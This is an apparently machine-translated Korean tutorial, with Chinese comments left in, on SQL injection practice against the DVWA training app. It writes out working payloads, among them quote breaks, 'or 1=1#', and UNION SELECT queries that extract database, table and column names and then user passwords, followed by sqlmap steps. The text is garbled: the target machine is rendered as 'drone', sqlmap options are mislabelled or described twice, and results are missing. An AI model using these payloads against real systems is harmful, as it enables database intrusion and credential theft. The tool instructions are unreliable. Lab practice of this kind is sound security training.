내 연락처 정보
우편메소피아@프로톤메일.com
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
효과:
설명: 드론 웹 애플리케이션을 통해 수동 주입 실습
단계:
대상 드론 OWASP 시작
브라우저를 통해 드론에 접속하세요
OWASP-dvwa 프로젝트 방문
로그인
SQL 주입 애플리케이션 선택
참고: 주로 작은따옴표와 이스케이프 문자를 사용하세요. 주로 작은따옴표를 사용하세요.
원칙:
#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
' union select 1,2 #
2. 논리적 OR 기준
'or 1=1#
데이터베이스 이름 가져오기
' union select 1,database()#
테이블 가져오기
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
열 가져오기
' union select column_name,1 from information_schema.columns where table_name='users' #
//1. 获取单个字段数据
' union select user,1 from users#
//2. 获取两个字段
' union select user,password from users#
기능: 여러 문자열을 하나의 문자열로 연결
구문: concat(str1,str2,…)
예:
select user_id,concat (user,password) from dvwa,users;
select user_id,concat('user:',user,' password:',password) from dvwa.users;
' union select user,concat(first_name,' ',last_name,' ',password) from users#
참고: 자동 주입은 SQL 주입 작업을 완료하기 위해 수동 작업 대신 도구를 사용하는 것을 의미합니다.
도구: sqlmap
도구: sqlmap
매개변수
단계
로그인이 필요하므로 먼저 로그인된 페이지의 쿠키를 가져옵니다.
그런 다음 주입 지점 스캔을 시작하십시오.
주입 성공
– current-db : 현재 웹에서 사용하는 데이터베이스 이름을 조회합니다.
-D: 지정된 데이터베이스를 적용합니다.
작업 결과:
– current-db: 지정된 라이브러리 아래의 모든 테이블 이름을 쿼리합니다(라이브러리 이름을 먼저 지정하려면 -D를 사용해야 함).
-T: 테이블 지정
작업 결과:
– columns: 지정된 테이블 아래의 모든 필드를 쿼리합니다(테이블 이름을 먼저 지정하려면 -T를 사용해야 함).
-C: 필드 이름 지정
작업 결과:
–dump: 데이터 다운로드
작업 결과: